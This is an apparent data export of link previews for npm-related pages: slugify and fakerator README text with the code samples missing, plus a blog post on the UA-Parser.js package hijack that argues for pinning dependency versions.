Out of the box slugify comes with support for a handful of Unicode symbols. For example the ☢ (radioactive) symbol is not defined in the and therefore it will be stripped by default:

However you can extend the supported symbols, or override the existing ones with your own:

Keep in mind that the extend method extends/overrides the default charMap for the entire process. In case you need a fresh instance of the slugify's charMap object you have to clean up the module cache first:

Contribute

1. Add chars to charmap.json

2. Run tests npm test

3. The tests will build the charmap in index.js and will sort the charmap.json

4. Commit all modified files

Originally this was a vanilla javascript port of node-slug.
Note that the original slug module has been ported to vanilla javascript too.

# data[].attributes.attachment_link.readable_text
This is not the first time something like this happens, but I wouldn't blame NPM for this. I wouldn't even blame the Node.js community or the creator of such a popular library. This is the hacker's fault, or rather, 80% of it is, the rest? The rest is the affected project's fault. Let's understand that for a bit.

What happened?

On October 22nd the owner of the UA-Parser.js package realized his NPM account had been hijacked and that someone else (the attacker) had pushed 3 different new versions (0.7.29, 0.8.0 and 1.0.0) of his package including, within it, malicious code for both Linux and Windows. The "evil" code was later found to be stealing passwords and Chrome cookies while at the same time, it was running a crypto-miner program. Why this library? Because it's a very popular one, in fact, so much so that it would seem that even Facebook used it on some of their client-facing code. And don't take me word for it, NPM shows almost 8 million downloads per week. So yes, I'd say it's used by a few users.

And while the effect of the attack is important and it probably did a lot of damage while it was active, that's not my focus today. I don't want to focus on the 80% of the problem, but rather on the 20% left which includes you (potentially).

Why are these attacks so effective?

This is not the first time something like this happens. In fact in 2018 something similar happened. A hacker got ownership of a very popular repository through social engineering and proceeded to publish updates with a similar effect as the one we're discussing today. So why are we seeing these types of attacks happen more often than before? I believe this is because hackers are starting to realize that developers are lazy when it comes to looking out for the security of their code. Coders are so used to depending on 3rd party libraries that they can't really work without them to the point where some of these libraries even define their career. Don't know what I'm talking about? Does "React Developer" ring a bell? If tomorrow for some reason the React repository got hacked and someone was able to upload malicious code into it, we'd be royally f?cked, trust me on that one.

That being said, this intrinsic trust that we're seeing on these 3rd party libraries coupled with poor dependency management is showing a brand new world for attackers to target. We're literally showing highlighting their targets by relying on them blindly, so how can we fix this?

Do we just stop using 3rd party libraries?

I've had conversations with many developers who claim they don't rely on any 3rd party library. I tend to not believe such a claim because that would make building any piece of software a gargantuan task at this point. Either that, or they're working with very unstable and untested libraries created by themselves. I don't like either case. Consider building a simple client-server application, everything that goes into it, aside from the actual business logic of your app:
On the back-end

The API framework able to simplify the endpoint-definition

HTTP framework that simplifies header and request management

The authentication framework that allows you to provide multiple auth strategies out of the box

The database driver (I'm assuming you're storing data somewhere).

The bundler

The testing framework

Potentially some utility library

On the front-end

The actual UI framework, because nowadays nobody really builds a complex UI without one (I'm talking about React, Vue, Angular, Svelte, etc).

The bundler

The testing framework

Probably plugins for your UI framework

HTTP request libraries to simplify sending data to the back-end.

And I'm sure I'm missing a few on each category. So considering that list, are you really suggesting that we should dedicate our own time and effort into building ALL of that, on top of building the actual logic of our application? The whole point of using them is because they act as accelerators for the development team. They help reduce development time by providing features we'll need. In return through this massive use by the community, we know that they've been properly tested and vetted. If everyone is using them, chances are, they're good at what they do so we're safe using them too.

How do we solve the security issue then?

The entire problem is not about relying on 3rd party libraries. Focusing on them when trying to solve the problem is exactly what the hackers want, because you miss the whole point and keep the doors open: the real problem is how you're managing your dependencies.

Think about it like this, go to your latest project's package.json file and open it. Check out the dependencies section, do you see something like this:

They're all security risks. Look I get it, these libraries are all using semver and you're only allowing for minor or patch-level updates on those dependencies, if they update anything your code won't break. That's true, in theory. But let's unpack that for a second. The IT world is filled with standards for everything, we developers love them, but we also love to make our own interpretations of them. This is ironic if you think about it, since standards are meant to be concise and unambiguous so that everyone understands the same thing (tell that to REST btw).

So your first mistake is to assume that the creators of all those dependencies are understanding exactly the same thing you are from the semver standard. Granted, if they state exactly how they update their library on their documentation, you're safe, otherwise, you're not. If tomorrow they decided to add a breaking change into their code, and either forgot and for some reason, decided that a bump in the major version wasn't required; you're in big trouble.

The second mistake, and the one I want to highlight here is that you're opening the doors of heaven to the hackers. You're literally telling them: "go ahead, put whatever you want and I'll install it blindly". See the problem yet? Auto-updates should not be an option for production releases. They add too much instability into the build process and open up a security hole the size of Kansas. Which is big considering we're talking about a whole for attacks to go through.

So what can you do to prevent this from happening? Easy, lock your dependencies. Instead of leaving fuzzy rules like the ones above on your production build, lock the specific version, all 3 parts of it:

It's that simple, you've now solved the security problem because on every single build, you'll be downloading the exact same code. This is also true, because NPM does not allow you to overwrite past versions, so even if the repository of one of your libraries got hacked, you wouldn't be affected by the attack. Imagine that.

Open Source Session Replay

Debugging a web application in production may be challenging and time-consuming. OpenReplay is an Open-source alternative to FullStory, LogRocket and Hotjar. It allows you to monitor and replay everything your users do and shows how your app behaves for every issue. It's like having your browser's inspector open while looking over your user's shoulder. OpenReplay is the only open-source alternative currently available.

Happy debugging, for modern frontend teams - Start monitoring your web app for free.

A simple solution for a very complex problem

The very reason why hackers are targetting 3rd party libraries and packages like this, is because they've realized we're a mess when it comes to dependency management. We trust them too much without seeing the security implications of that trust. But the solution is not to forget about them, but rather to properly vet them first, and then lock our production builds to a set of versions that we know work.

And yes, you'll be missing out on the goodness of those auto-updates and the fixes their creators might be publishing with those minor and patch bumps in the version.

But consider the alternative: your project and your servers being used for crypto-mining or something worse.

# data[].attributes.attachment_link.title
Another Npm Package Is Highjacked and It's Your Fault That This Happened

# data[].attributes.attachment_link.description
This is not the first time something like this happens, but I wouldn't blame NPM for this. I wouldn't even blame the Node.js community or the creator of such a popular library. This is the hacker's fault, or rather, 80% of it is, the rest? The rest is the affected project's fault.

# data[].attributes.attachment_link.readable_text
Nowadays in our busy schedules and tight deadlines, it's critical to choose tools that increase productivity.

Here I have compiled a list of some of my favorite NPM packages. I've also sorted them into categories, so the information is more structured and it's easier to navigate.

Surely, you don't have to install and learn them all. In most cases picking one...

# data[].attributes.attachment_link.title
73 Awesome NPM Packages for Productivity 🚀🌱

# data[].attributes.attachment_link.description
Nowadays in our busy schedules and tight deadlines, it's critical to choose tools that increase productivity. Here I have compiled a list of some of my favorite NPM packages. I've also sorted them into categories, so the information is more structured and it's easier to navigate.

# data[].attributes.attachment_link.description
Reactive, component-oriented view layer for modern web interfaces.

# data[].attributes.attachment_link.readable_text
Random fake data generator with localization

fakerator was inspired by and has used data definitions from Marak's faker.js library
If you like my work, please donate. Thank you!
Demo
JSFiddle test page
Install

Bower

$ bower install fakerator

NodeJS

Manual

Download the package and use the dist/fakerator.js or the dist/fakerator.min.js file in your project.

Usage

Browser

NodeJS

Shortly

Or load a specific locale

Seeding

The library uses the Mersenne Twister pseudorandom number generator, so set seed value, if you want to get a repeatable random sequence:

Random

Generate random values or select a random element from array.

fakerator.random.objectElement(obj)
Give a random { key: value } from the object

Localization

The library supports localizations. You can set the locale code in constructor.

Usage

In production, you can load only a specific locale:

Available localizations:

Custom locale

Please read this how to add a new locale

Generators

Use this functions to generate fake random data

Names

Address

fakerator.address.countryAndCode()
Give a country object
{ code: "RO", name: "Romania" }

fakerator.address.geoLocation()
Generate a geolocation
{ latitude: 40.4233, longitude: -131.9741 }

Phone

Company

Internet data

Lorem

Date & time

Miscellaneous

Entities

You can generate complex entities

User

Result:

You can set genre of user with first parameter.

Address

Result:

Company

Result:

Blog post

Result:

Times

You can generate array of items with times and utimes (unique) functions. First parameter is the generator function. Second is the length of array.

You can pass further parameters, they will be passed to the generator function.

Usage

Templates

You can also generate fake data with templates:

Replace symbols

The populate replace # symbol to a random number and ? symbol to a random letter.

TODO

Contribution

Please send pull requests improving the usage and fixing bugs, improving documentation and providing better examples, or providing some testing, because these things are important.

License

fakerator is available under the MIT license.

Contact

Copyright (C) 2021 Icebob

# data[].attributes.attachment_link.description
Random fake data generator with localization fakerator was inspired by and has used data definitions from Marak's faker.js library If you like my work, please donate. Thank you! JSFiddle test page $ bower install fakerator Download the package and use the dist/fakerator.js or the dist/fakerator.min.js file in your project.

# data[].attributes.attachment_link.description
With more than 85 components, over 45 available plugins, several directives, and 1000+ icons, BootstrapVue provides one of the most comprehensive implementations of the Bootstrap v4 component and grid system available for Vue.js v2.6, complete with extens